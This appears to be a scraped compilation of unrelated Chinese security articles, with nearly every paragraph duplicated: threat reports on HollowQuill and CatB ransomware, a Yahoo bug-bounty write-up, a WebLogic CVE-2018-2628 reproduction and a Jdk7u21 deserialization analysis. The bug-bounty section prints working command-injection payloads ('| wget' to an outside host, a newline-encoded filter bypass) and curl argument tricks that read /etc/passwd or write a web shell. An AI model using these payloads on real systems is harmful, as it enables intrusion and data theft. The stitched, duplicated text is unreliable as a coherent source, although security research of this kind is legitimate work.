HollowQuill 恶意软件利用 PDF 文档攻击全球政府机构
网络威胁日益严重,令人不安的是,一种名为“HollowQuill”的新型恶意软件被发现针对全球学术机构和政府机构。
这次复杂的攻击利用武器化的 PDF 文档渗透系统,结合使用社会工程学和先进的恶意软件部署技术来绕过传统的安全措施。
攻击剖析:社会工程学与恶意软件
攻击始于分发看似合法的 PDF 文档,这些文档伪装成研究论文、拨款申请或政府官方信函。
这些 PDF 经过精心制作,旨在吸引收件人,利用对学术和政府来源的信任。
一旦打开,该文件就会释放多阶段感染链。
它首先执行包含 .NET 恶意软件植入器的恶意 RAR 存档,然后部署多个有效载荷:
合法的 OneDrive 应用程序,可能被用作社会工程策略的一部分来验证初始下载。
基于 Golang 的 shellcode 加载器,由于采用 Golang(一种与恶意软件关联较少的语言)进行编程,因此可以逃避传统防病毒程序的检测。
诱饵 PDF 文件,旨在提供一种虚假的安全感或分散注意力的感觉。
威胁指标
赛门铁克一直处于领先地位,提供针对此类威胁的强大保护:
防病毒与云集成:赛门铁克的防病毒套件现已包含基于自适应的防护功能,可拦截由 ACM.Untrst-FlPst!g1 识别的恶意文件。此外,VMware Carbon Black 产品已配置为阻止已知、可疑和潜在有害程序的执行,同时还与云服务集成,使用“已知恶意软件”、“可疑恶意软件”和“PUP”等策略进行实时分析。
电子邮件安全:通过赛门铁克的电子邮件安全产品来应对基于电子邮件的威胁,其中电子邮件威胁隔离 (ETI) 可提供针对基于 Web 的攻击的额外安全层。
基于文件的威胁:该恶意软件在各种标签下被检测到,包括 Trojan.Gen.MBT 和 WS.Malware.1,并使用机器学习模型(例如 Heur.AdvML.A!300 到 Heur.AdvML.C)来尽早识别和防止感染。
Web 保护:利用支持 WebPulse 的产品,赛门铁克确保将观察到的域和 IP 归类到安全类别下,以便主动缓解 Web 威胁。
网络威胁日益严重,令人不安的是,一种名为“HollowQuill”的新型恶意软件被发现针对全球学术机构和政府机构。
这次复杂的攻击利用武器化的 PDF 文档渗透系统,结合使用社会工程学和先进的恶意软件部署技术来绕过传统的安全措施。
攻击剖析:社会工程学与恶意软件
攻击始于分发看似合法的 PDF 文档,这些文档伪装成研究论文、拨款申请或政府官方信函。
这些 PDF 经过精心制作,旨在吸引收件人,利用对学术和政府来源的信任。
一旦打开,该文件就会释放多阶段感染链。
它首先执行包含 .NET 恶意软件植入器的恶意 RAR 存档,然后部署多个有效载荷:
合法的 OneDrive 应用程序,可能被用作社会工程策略的一部分来验证初始下载。
基于 Golang 的 shellcode 加载器,由于采用 Golang(一种与恶意软件关联较少的语言)进行编程,因此可以逃避传统防病毒程序的检测。
诱饵 PDF 文件,旨在提供一种虚假的安全感或分散注意力的感觉。
威胁指标
赛门铁克一直处于领先地位,提供针对此类威胁的强大保护:
防病毒与云集成:赛门铁克的防病毒套件现已包含基于自适应的防护功能,可拦截由 ACM.Untrst-FlPst!g1 识别的恶意文件。此外,VMware Carbon Black 产品已配置为阻止已知、可疑和潜在有害程序的执行,同时还与云服务集成,使用“已知恶意软件”、“可疑恶意软件”和“PUP”等策略进行实时分析。
电子邮件安全:通过赛门铁克的电子邮件安全产品来应对基于电子邮件的威胁,其中电子邮件威胁隔离 (ETI) 可提供针对基于 Web 的攻击的额外安全层。
基于文件的威胁:该恶意软件在各种标签下被检测到,包括 Trojan.Gen.MBT 和 WS.Malware.1,并使用机器学习模型(例如 Heur.AdvML.A!300 到 Heur.AdvML.C)来尽早识别和防止感染。
Web 保护:利用支持 WebPulse 的产品,赛门铁克确保将观察到的域和 IP 归类到安全类别下,以便主动缓解 Web 威胁。
警惕!CatB 利用微软分布式事务协调器实施恶意攻击
自 2022 年末 CatB 勒索软件出现以来,网络安全领域见证了一个手段高超的威胁行为者的崛起。
这种恶意软件也被称为 CatB99 或 Baxtoy,因其先进的规避检测能力和独特的攻击方法而备受关注。
安全研究人员注意到,CatB 勒索软件与 Pandora 勒索软件有着惊人的相似之处,有迹象表明 CatB 可能是 Pandora 的一次策略性更名,两者几乎相同的勒索赎金通知和操作模式就是证明。
CatB 因其复杂的执行策略著称,尤其是它利用 Microsoft 分布式事务协调器(MSDTC)进行动态链接库(DLL)劫持,以此来部署恶意负载。
除了常规的文件加密,这款勒索软件还具备窃取浏览器数据和凭据的能力,极大地增加了其潜在威胁。
它先进的检测机制使其能够识别并绕过虚拟机环境,这给安全专业人员的分析和遏制工作带来了相当大的挑战。
AttackIQ 的研究人员已经确定 CatB 与疑似网络间谍组织 ChamelGang(也称为CamoFei)存在关联。
根据全面分析,这种策略性的关联标志着威胁行为者的战术发生了令人担忧的演变 —— 将传统的犯罪勒索软件活动与复杂的间谍活动目标相结合。
这种混合攻击方式实际上制造了一个烟幕弹,表面上明显的勒索软件攻击转移了人们对潜在情报收集活动的注意力。
CatB 造成的影响巨大,其攻击目标是全球范围内的知名组织。它采用多阶段攻击方法,在执行加密程序之前,首先进行初步侦察以收集系统信息。
SentinelOne 在 2023 年 3 月发布的报告,以及 Fortinet 在 2023 年 2 月进行的技术分析都证实了,这种恶意软件如何系统地破坏安全防御,并在被入侵的网络中实现持续存在。
为应对这一不断演变的威胁,AttackIQ 发布了一个攻击图,模拟 CatB 的战术、技术和操作流程(TTPs),使各组织能够根据这一特定威胁行为者的攻击方法来验证自身的安全控制措施。
这种主动防御的方法使安全团队能够在潜在漏洞被真实利用之前发现它们。
DLL 搜索顺序劫持机制
CatB 执行策略的核心在于它利用 Windows 的 DLL 搜索顺序机制来攻击 Microsoft 分布式事务协调器(MSDTC)。
在 MITRE ATT&CK 框架中,这种技术被归类为 T1574.001,它允许恶意软件将恶意 DLL 加载到受信任的系统二进制文件中,实际上是借助合法进程来执行恶意代码。
攻击始于 CatB 释放器进行初步侦察,通过诸如 GetSystemInfo 和 DeviceIoControl 等应用程序编程接口(API)调用来收集硬件规格和系统驱动器信息。
它特别使用 GlobalMemoryStatusEx API 来收集有关物理内存和虚拟内存的详细信息 —— 这是其虚拟机检测能力中的关键一步。
DLL 劫持过程利用了 Windows 可预测的 DLL 加载顺序,即操作系统会先在应用程序目录中搜索,然后再检查系统目录。
通过将与合法 DLL 同名的恶意 DLL 放置在搜索顺序靠前的位置,CatB 确保其代码能够以与受信任应用程序相同的权限执行。
以下简化的代码模式展示了防御者如何检测这种活动:
$suspiciousDllLocations = Get-ChildItem -Path “C:\Windows\System32\msdtc” -Filter “*.dll” -Recurse $knownGoodHashes = @(“hash1”, “hash2”, “hash3”)
foreach ($dll in $suspiciousDllLocations) { $fileHash = Get-FileHash -Path \(dll.FullName -Algorithm SHA256 if (\)fileHash.Hash -notin $knownGoodHashes) { Write-Output “Potential malicious DLL detected: \((\)dll.FullName)” } }
一旦恶意 DLL 被加载,CatB 就会使用 PowerShell 命令终止与安全相关的进程,从而禁用防御措施。
这为其加密操作和窃取浏览器数据的活动创造了有利环境。
自 2022 年末 CatB 勒索软件出现以来,网络安全领域见证了一个手段高超的威胁行为者的崛起。
这种恶意软件也被称为 CatB99 或 Baxtoy,因其先进的规避检测能力和独特的攻击方法而备受关注。
安全研究人员注意到,CatB 勒索软件与 Pandora 勒索软件有着惊人的相似之处,有迹象表明 CatB 可能是 Pandora 的一次策略性更名,两者几乎相同的勒索赎金通知和操作模式就是证明。
CatB 因其复杂的执行策略著称,尤其是它利用 Microsoft 分布式事务协调器(MSDTC)进行动态链接库(DLL)劫持,以此来部署恶意负载。
除了常规的文件加密,这款勒索软件还具备窃取浏览器数据和凭据的能力,极大地增加了其潜在威胁。
它先进的检测机制使其能够识别并绕过虚拟机环境,这给安全专业人员的分析和遏制工作带来了相当大的挑战。
AttackIQ 的研究人员已经确定 CatB 与疑似网络间谍组织 ChamelGang(也称为CamoFei)存在关联。
根据全面分析,这种策略性的关联标志着威胁行为者的战术发生了令人担忧的演变 —— 将传统的犯罪勒索软件活动与复杂的间谍活动目标相结合。
这种混合攻击方式实际上制造了一个烟幕弹,表面上明显的勒索软件攻击转移了人们对潜在情报收集活动的注意力。
CatB 造成的影响巨大,其攻击目标是全球范围内的知名组织。它采用多阶段攻击方法,在执行加密程序之前,首先进行初步侦察以收集系统信息。
SentinelOne 在 2023 年 3 月发布的报告,以及 Fortinet 在 2023 年 2 月进行的技术分析都证实了,这种恶意软件如何系统地破坏安全防御,并在被入侵的网络中实现持续存在。
为应对这一不断演变的威胁,AttackIQ 发布了一个攻击图,模拟 CatB 的战术、技术和操作流程(TTPs),使各组织能够根据这一特定威胁行为者的攻击方法来验证自身的安全控制措施。
这种主动防御的方法使安全团队能够在潜在漏洞被真实利用之前发现它们。
DLL 搜索顺序劫持机制
CatB 执行策略的核心在于它利用 Windows 的 DLL 搜索顺序机制来攻击 Microsoft 分布式事务协调器(MSDTC)。
在 MITRE ATT&CK 框架中,这种技术被归类为 T1574.001,它允许恶意软件将恶意 DLL 加载到受信任的系统二进制文件中,实际上是借助合法进程来执行恶意代码。
攻击始于 CatB 释放器进行初步侦察,通过诸如 GetSystemInfo 和 DeviceIoControl 等应用程序编程接口(API)调用来收集硬件规格和系统驱动器信息。
它特别使用 GlobalMemoryStatusEx API 来收集有关物理内存和虚拟内存的详细信息 —— 这是其虚拟机检测能力中的关键一步。
DLL 劫持过程利用了 Windows 可预测的 DLL 加载顺序,即操作系统会先在应用程序目录中搜索,然后再检查系统目录。
通过将与合法 DLL 同名的恶意 DLL 放置在搜索顺序靠前的位置,CatB 确保其代码能够以与受信任应用程序相同的权限执行。
以下简化的代码模式展示了防御者如何检测这种活动:
$suspiciousDllLocations = Get-ChildItem -Path “C:\Windows\System32\msdtc” -Filter “*.dll” -Recurse $knownGoodHashes = @(“hash1”, “hash2”, “hash3”)
foreach ($dll in $suspiciousDllLocations) { $fileHash = Get-FileHash -Path \(dll.FullName -Algorithm SHA256 if (\)fileHash.Hash -notin $knownGoodHashes) { Write-Output “Potential malicious DLL detected: \((\)dll.FullName)” } }
一旦恶意 DLL 被加载,CatB 就会使用 PowerShell 命令终止与安全相关的进程,从而禁用防御措施。
这为其加密操作和窃取浏览器数据的活动创造了有利环境。
我是如何在雅虎漏洞赏金计划中发现 2.9 RCE 的
我从常规的漏洞搜寻开始,也就是侦察。我从不做不常规的事情:谷歌、Aquatone 等等……
所以,当 Aquatone 向我展示了一些有趣的移植版本时,我决定尝试一下。我看到的是这样的:
看起来挺有意思的,不是吗?好了,现在该来探索一下它的功能了。据我了解,这个面板用来创建一些任务(消息),比如 RabbitMQ。所以,当我点击其中一个队列时,我看到了上图
我回到消息列表并选择其中一条。我注意到它显示了已填好的“Strage”表单。它是一个 JSON 格式的字符串,如下所示:
json:{“sub_bound”:true,“hostname”:” REDACTED ”,“timestamp”:”2017/07/01/1649”,“s3_key”:” REDACTED ”,“nop”:false”,“providers”:[“Google”,“AWS”]”,“version”:3”,“checkin_queue”:” REDACTED ”,“type”: ” REDACTED ”,“interval_id”:” REDACTED ”,“pod_id”:”22”}
我尝试使用参数 1 字段的这个值创建一条新消息。重定向到创建的消息后,我注意到几个 JSON 值被放入了类似于 bash 命令的字符串中。
所以,我试着输入“|wget mywebsite.com”,结果成功了^^。我简化了破解过程,实际上花了大约两天时间。
最终有效载荷是:
json:{“sub_bound”:true,“主机名”:“REDACTED”,“时间戳”:“2017/07/01/1649”,“s3_key”:“REDACTED”,“nop”:false,“提供商”:[“Google”,“AWS”],“版本”:3,“checkin_queue”:“REDACTED”,“类型”:“REDACTED”,“interval_id”:“REDACTED”,“pod_id”:“ 22 | wget http://myhost.name ” }
我从常规的漏洞搜寻开始,也就是侦察。我从不做不常规的事情:谷歌、Aquatone 等等……
所以,当 Aquatone 向我展示了一些有趣的移植版本时,我决定尝试一下。我看到的是这样的:
看起来挺有意思的,不是吗?好了,现在该来探索一下它的功能了。据我了解,这个面板用来创建一些任务(消息),比如 RabbitMQ。所以,当我点击其中一个队列时,我看到了上图
我回到消息列表并选择其中一条。我注意到它显示了已填好的“Strage”表单。它是一个 JSON 格式的字符串,如下所示:
json:{“sub_bound”:true,“hostname”:” REDACTED ”,“timestamp”:”2017/07/01/1649”,“s3_key”:” REDACTED ”,“nop”:false”,“providers”:[“Google”,“AWS”]”,“version”:3”,“checkin_queue”:” REDACTED ”,“type”: ” REDACTED ”,“interval_id”:” REDACTED ”,“pod_id”:”22”}
我尝试使用参数 1 字段的这个值创建一条新消息。重定向到创建的消息后,我注意到几个 JSON 值被放入了类似于 bash 命令的字符串中。
所以,我试着输入“|wget mywebsite.com”,结果成功了^^。我简化了破解过程,实际上花了大约两天时间。
最终有效载荷是:
json:{“sub_bound”:true,“主机名”:“REDACTED”,“时间戳”:“2017/07/01/1649”,“s3_key”:“REDACTED”,“nop”:false,“提供商”:[“Google”,“AWS”],“版本”:3,“checkin_queue”:“REDACTED”,“类型”:“REDACTED”,“interval_id”:“REDACTED”,“pod_id”:“ 22 | wget http://myhost.name ” }
This media is not supported in your browser
VIEW IN TELEGRAM
第二次 RCE
实际上,它是通过与之前的 RCE 相同的服务进行的 RCE。
大约三个月后,我找到了在相同端口上运行相同服务的不同主机。但此时我之前的payload失效了。如果我没记错的话,原因是符号| & ; ` { }被过滤了。我花了一天时间研究,终于绕过了它。绕过方法如下:
json:{“sub_bound”:true,“主机名”:”已删除”,“时间戳”:”2017/10/23/2248”,“s3_key”:”已删除”,“nop”:false,“提供商”:[“Google”,“AWS”],“版本”:3,“checkin_queue”:”已删除”,“类型”:”已删除”,“interval_id”:”已删除”,“pod_id”:” 23\u000awget\u0020http://myhost.name “}
实际上,它是通过与之前的 RCE 相同的服务进行的 RCE。
大约三个月后,我找到了在相同端口上运行相同服务的不同主机。但此时我之前的payload失效了。如果我没记错的话,原因是符号| & ; ` { }被过滤了。我花了一天时间研究,终于绕过了它。绕过方法如下:
json:{“sub_bound”:true,“主机名”:”已删除”,“时间戳”:”2017/10/23/2248”,“s3_key”:”已删除”,“nop”:false,“提供商”:[“Google”,“AWS”],“版本”:3,“checkin_queue”:”已删除”,“类型”:”已删除”,“interval_id”:”已删除”,“pod_id”:” 23\u000awget\u0020http://myhost.name “}
This media is not supported in your browser
VIEW IN TELEGRAM
第三次几乎 RCE
这个漏洞是我所有发现中最有趣的。因此,在创建了一些产品以访问其相关功能后,我开始研究雅虎小型企业商店。在发现一个功能的过程中,我注意到当我访问电子邮件模板页面时,ajax会发送一些请求来获取页面上显示的产品图片路径。其中一个请求发送到objinfo_data.php,参数是id。我以为这个脚本是用来调整产品图片大小的。所以,这部分很重要。在创建产品时,我注意到用于创建产品的请求包含几个指向图片的url,而不是直接包含二进制图片数据。我的想法是:“如果脚本获取了产品图片的链接并用它来调整大小会怎么样?”。我认为这可能是SSRF漏洞。我编辑了产品,将图片url更改为我的主机和端口,然后运行netcat。之后,我在向objinfo_data.php发送的请求中使用了该产品的产品id。Netcat显示了该请求,我注意到User-Agent是Curl。之后我尝试了所有可能的方法获取 RCE,但没有任何结果 :( 就是不行。在经历了所有的折磨之后,我决定向我的同事请教。其中一位同事建议尝试使用“-A something”,如果我在 netcat 的请求中看到“User-Agent: something”,就有可能注入参数字符串。我试过了,成功了!之后我的另一位同事立即建议我使用标志 -T。此标志从文件系统获取文件并将其附加到请求中。我使用它并能够读取 /etc/passwd。
为什么我连其他命令都执行不了,还说它几乎是 RCE?因为 curl 还有个有趣的参数“-o”,可以用来将输出写入文件系统。所以,如果我能找到服务器上的 Web 目录,我就能在那里写 Web Shell,然后(如果防火墙隔着)通过 curl 执行它 :)
这个漏洞是我所有发现中最有趣的。因此,在创建了一些产品以访问其相关功能后,我开始研究雅虎小型企业商店。在发现一个功能的过程中,我注意到当我访问电子邮件模板页面时,ajax会发送一些请求来获取页面上显示的产品图片路径。其中一个请求发送到objinfo_data.php,参数是id。我以为这个脚本是用来调整产品图片大小的。所以,这部分很重要。在创建产品时,我注意到用于创建产品的请求包含几个指向图片的url,而不是直接包含二进制图片数据。我的想法是:“如果脚本获取了产品图片的链接并用它来调整大小会怎么样?”。我认为这可能是SSRF漏洞。我编辑了产品,将图片url更改为我的主机和端口,然后运行netcat。之后,我在向objinfo_data.php发送的请求中使用了该产品的产品id。Netcat显示了该请求,我注意到User-Agent是Curl。之后我尝试了所有可能的方法获取 RCE,但没有任何结果 :( 就是不行。在经历了所有的折磨之后,我决定向我的同事请教。其中一位同事建议尝试使用“-A something”,如果我在 netcat 的请求中看到“User-Agent: something”,就有可能注入参数字符串。我试过了,成功了!之后我的另一位同事立即建议我使用标志 -T。此标志从文件系统获取文件并将其附加到请求中。我使用它并能够读取 /etc/passwd。
为什么我连其他命令都执行不了,还说它几乎是 RCE?因为 curl 还有个有趣的参数“-o”,可以用来将输出写入文件系统。所以,如果我能找到服务器上的 Web 目录,我就能在那里写 Web Shell,然后(如果防火墙隔着)通过 curl 执行它 :)
CVE-2018-2628 简单复现与分析
复现:
第一步发送测试PoC,PoC中远程连接的服务器地址就是第二步中所使用的服务器,攻击的ip是192.168.3.103的7001端口上的T3服务,该服务会解包Object结构,通过一步步的readObject去第二步服务器上的1099端口请求恶意封装的代码,然后在本地弹出计算器。
复现:
第一步发送测试PoC,PoC中远程连接的服务器地址就是第二步中所使用的服务器,攻击的ip是192.168.3.103的7001端口上的T3服务,该服务会解包Object结构,通过一步步的readObject去第二步服务器上的1099端口请求恶意封装的代码,然后在本地弹出计算器。
查看weblogic的日志,可以看到如下错误,此时已经弹出计算器
分析:
Weblogic已经将互联网暴露的PoC都已经加入了黑名单,如果要绕过他的黑名单的限制就只能自己动手构造。来看看InboundMsgAbbrev中resolveProxyClass的实现,resolveProxyClass是处理rmi接口类型的,只判断了java.rmi.registry.Registry,其实随便找一个rmi接口即可绕过。
protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
String[] arr$ = interfaces;
int len$ = interfaces.length;
for(int i$ = 0; i$ < len$; ++i$) {
String intf = arr$[i$];
if(intf.equals("java.rmi.registry.Registry")) {
throw new InvalidObjectException("Unauthorized proxy deserialization");
}
}
return super.resolveProxyClass(interfaces);
}
其实核心部分就是JRMP(Java Remote Methodprotocol),在这个PoC中会序列化一个RemoteObjectInvocationHandler,它会利用UnicastRef建立到远端的tcp连接获取RMI registry,加载回来再利用readObject解析,从而造成反序列化远程代码执行。
分析:
Weblogic已经将互联网暴露的PoC都已经加入了黑名单,如果要绕过他的黑名单的限制就只能自己动手构造。来看看InboundMsgAbbrev中resolveProxyClass的实现,resolveProxyClass是处理rmi接口类型的,只判断了java.rmi.registry.Registry,其实随便找一个rmi接口即可绕过。
protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
String[] arr$ = interfaces;
int len$ = interfaces.length;
for(int i$ = 0; i$ < len$; ++i$) {
String intf = arr$[i$];
if(intf.equals("java.rmi.registry.Registry")) {
throw new InvalidObjectException("Unauthorized proxy deserialization");
}
}
return super.resolveProxyClass(interfaces);
}
其实核心部分就是JRMP(Java Remote Methodprotocol),在这个PoC中会序列化一个RemoteObjectInvocationHandler,它会利用UnicastRef建立到远端的tcp连接获取RMI registry,加载回来再利用readObject解析,从而造成反序列化远程代码执行。
Java反序列 Jdk7u21 Payload
在分析代码之前,我们先来了解一些相关知识,有助于后续理解
javassist
javassist :Java字节码操作库,提供了在运行时操作Java字节码的方法,如在已有 Class 中动态修改和插入Java代码,示例:在 Cat 类中添加包含恶意代码的 static block
生成的.class,反编译后的源码图2
在Jdk7u21 的payload 中,使用了javassist 来构造包含恶意代码的class
Java static initializer
Java Class 中定义的static 代码块被称为 staticinitializer,在class 初始化(initialized) 时会执行该语句块
这里需要重点关注一下ClassLoader.defineClass()方法运行后,并不会执行 static block,而Class.newInstance()会执行,这两个地方会涉及到Jdk7u21 payload 恶意代码的具体执行点
在分析代码之前,我们先来了解一些相关知识,有助于后续理解
javassist
javassist :Java字节码操作库,提供了在运行时操作Java字节码的方法,如在已有 Class 中动态修改和插入Java代码,示例:在 Cat 类中添加包含恶意代码的 static block
生成的.class,反编译后的源码图2
在Jdk7u21 的payload 中,使用了javassist 来构造包含恶意代码的class
Java static initializer
Java Class 中定义的static 代码块被称为 staticinitializer,在class 初始化(initialized) 时会执行该语句块
这里需要重点关注一下ClassLoader.defineClass()方法运行后,并不会执行 static block,而Class.newInstance()会执行,这两个地方会涉及到Jdk7u21 payload 恶意代码的具体执行点
"f5a5a608"的hashCode为0
Java Object 中定义了hashCode()方法,返回一个hash 值,当两个对象equals 时,hashCode需要相同
String 类重写了该方法
有一个特殊的字符串"f5a5a608",hashCode的值为 0,在构造 Jdk7u21 payload 的过程中利用到了这一点
Dynamic Proxy
在ysoserial 的代码中,大量使用了到动态代理机制来构造payload,我们来简单了解一下
当需要增加或者修改某些已存在class的功能时,会使用动态代理机制,通过创建 proxyobject 来代理实际的对象。主要涉及接口为InvocationHandler
接口中只定义了一个方法invoke(),所有 proxy object 的方法调用都会转换为调用 invoke()方法,调用方法和参数通过method和 args来传递
来看一个代理Map 接口的例子,会在所有方法的执行之前打印start 、执行完成后打印finish
Java Object 中定义了hashCode()方法,返回一个hash 值,当两个对象equals 时,hashCode需要相同
String 类重写了该方法
有一个特殊的字符串"f5a5a608",hashCode的值为 0,在构造 Jdk7u21 payload 的过程中利用到了这一点
Dynamic Proxy
在ysoserial 的代码中,大量使用了到动态代理机制来构造payload,我们来简单了解一下
当需要增加或者修改某些已存在class的功能时,会使用动态代理机制,通过创建 proxyobject 来代理实际的对象。主要涉及接口为InvocationHandler
接口中只定义了一个方法invoke(),所有 proxy object 的方法调用都会转换为调用 invoke()方法,调用方法和参数通过method和 args来传递
来看一个代理Map 接口的例子,会在所有方法的执行之前打印start 、执行完成后打印finish
Payload分析 & 构造
TemplatesImpl
在利用payload 中,TemplatesImpl类主要的作用为:
使用_bytecodes成员变量存储恶意字节码( 恶意class=> byte array )
提供加载恶意字节码并触发执行的函数,加载在defineTransletClasses()方法中,方法触发为getOutputProperties()或 newTransformer()
我们来具体看一下,该类位于com.sun.org.apache.xalan.internal.xsltc.trax包中,用于xml document 的处理和转换,定义
TemplatesImpl 类实现了Templates和 Serializable两个接口
其中Templates接口定义如下,包含了两个方法,即之前提到触发恶意代码执行所的方法,在TemplatesImpl类中有一个private 方法 defineTransletClasses()
在方法中,调用了ClassLoader.defineClass()方法,参数为实例变量_bytecodes内的元素,该方法会将字节数组转换为Class,并加载
也就是说,通过设置_bytecodes的内容 ,调用 defineTransletClasses() 方法即可加载指定的 Class。
在代码中,一共有三个地方调用了这个方法
getTransletClasses()
getTransletIndex()
getTransletInstance()
在Java static initializer 部分提到 ClassLoader.defineClass() 并不会执行 static 代码块,所以前两个方法不满足条件,再看一下 getTransletInstance()方法
TemplatesImpl
在利用payload 中,TemplatesImpl类主要的作用为:
使用_bytecodes成员变量存储恶意字节码( 恶意class=> byte array )
提供加载恶意字节码并触发执行的函数,加载在defineTransletClasses()方法中,方法触发为getOutputProperties()或 newTransformer()
我们来具体看一下,该类位于com.sun.org.apache.xalan.internal.xsltc.trax包中,用于xml document 的处理和转换,定义
TemplatesImpl 类实现了Templates和 Serializable两个接口
其中Templates接口定义如下,包含了两个方法,即之前提到触发恶意代码执行所的方法,在TemplatesImpl类中有一个private 方法 defineTransletClasses()
在方法中,调用了ClassLoader.defineClass()方法,参数为实例变量_bytecodes内的元素,该方法会将字节数组转换为Class,并加载
也就是说,通过设置_bytecodes的内容 ,调用 defineTransletClasses() 方法即可加载指定的 Class。
在代码中,一共有三个地方调用了这个方法
getTransletClasses()
getTransletIndex()
getTransletInstance()
在Java static initializer 部分提到 ClassLoader.defineClass() 并不会执行 static 代码块,所以前两个方法不满足条件,再看一下 getTransletInstance()方法